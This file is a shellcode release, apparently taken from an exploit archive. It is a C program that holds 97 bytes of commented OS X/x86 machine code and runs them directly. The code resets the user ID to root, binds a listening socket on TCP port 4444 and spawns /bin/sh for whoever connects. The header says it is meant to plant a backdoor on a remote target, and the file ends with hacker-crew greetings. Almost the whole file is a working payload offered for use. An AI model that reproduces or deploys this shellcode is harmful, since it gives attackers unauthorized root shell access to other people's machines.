/*
###
# Title : os-x/x86 bind backdoor tcp port 4444 - 97 bytes
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.dis9.com * exploit-id.com
# Facebook : http://facebook.com/KedAns
# platform : os-x/x86
# Type : Shellcode
# Tested on : Mac OSX .(snow leopard 10.4.11)  En
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE  .. |
# | ------------------------------------------------- < |
##

*/

// Using THis ShellCode t0 bind BaCkd00r in remote Target and spawn backshell

#include <stdio.h>
#include <string.h>

char sc[] =
/* setreuid (0,0) */
"\x31\xC0"     // XOR EAX,EAX
"\x50"         // PUSH EAX
"\x50"         // PUSH EAX
"\x50"         // PUSH EAX
"\xB0\x7E"     // MOV AL,7E
"\xCD\x80"     // INT 0x80

// Binding BaCkd00r
"\x31\xC0"     // XOR EAX,EAX
"\x50"         // PUSH EAX
"\x50"         // PUSH EAX
"\xB0\x17"     // MOV AL,0x17
"\xCD\x80"     // INT 0x80
"\x31\xC0"     // XOR EAX,EAX
"\x50"         // PUSH EAX
"\x68\xFF\x02\x11\x5C" // PUSH 0x5C1102FF
"\x89\xE7"     // MOV EDI,ESP
"\x50"         // PUSH EAX
"\x6A\x01"     // PUSH 0x01
"\x6A\x02"     // PUSH 0x02
"\x6A\x10"     // PUSH 0x10
"\xB0\x61"     // MOV AL,0x61
"\xCD\x80"     // INT 0x80
"\x57"         // PUSH EDI
"\x50"         // PUSH EAX
"\x50"         // PUSH EAX
"\x6A\x68"     // PUSH 0x68
"\x58"         // POP EAX
"\xCD\x80"     // INT 0x80
"\x89\x47\xEC"   // MOV DWORD ,EAX
"\xB0\x6A"     // MOV AL,0x6A
"\xCD\x80"     // INT 0x80
"\xB0\x1E"     // MOV AL,0x1E
"\xCD\x80"     // INT 0x80
"\x50"         // PUSH EAX
"\x50"         // PUSH EAX
"\x6A\x5A"     // PUSH 0x5A
"\x58"         // POP EAX
"\xCD\x80"     // INT 0x80
"\xFF\x4F\xE4" // DEC DWORD ,EDI
"\x79\xF6"     // JNS SHORT
"\x50"         // PUSH EAX
"\x68\x2F\x2F\x73\x68"  // PUSH 0x68732F2F
"\x68\x2F\x62\x69\x6E"  // PUSH 0x6E69622F
"\x89\xE3"     // MOV EBX,ESP
"\x50"         // PUSH EAX
"\x54"         // PUSH ESP
"\x54"         // PUSH ESP
"\x53"         // PUSH EBX
"\x50"         // PUSH EAX
"\xB0\x3B"     // MOV AL,0x3B
"\xCD\x80";    // INT 0x80

int main()
{
    int (*dz)() = (int(*)())sc;
        printf("bytes: %u\n", strlen(sc));
        dz();
}

/*
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * 
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================*/
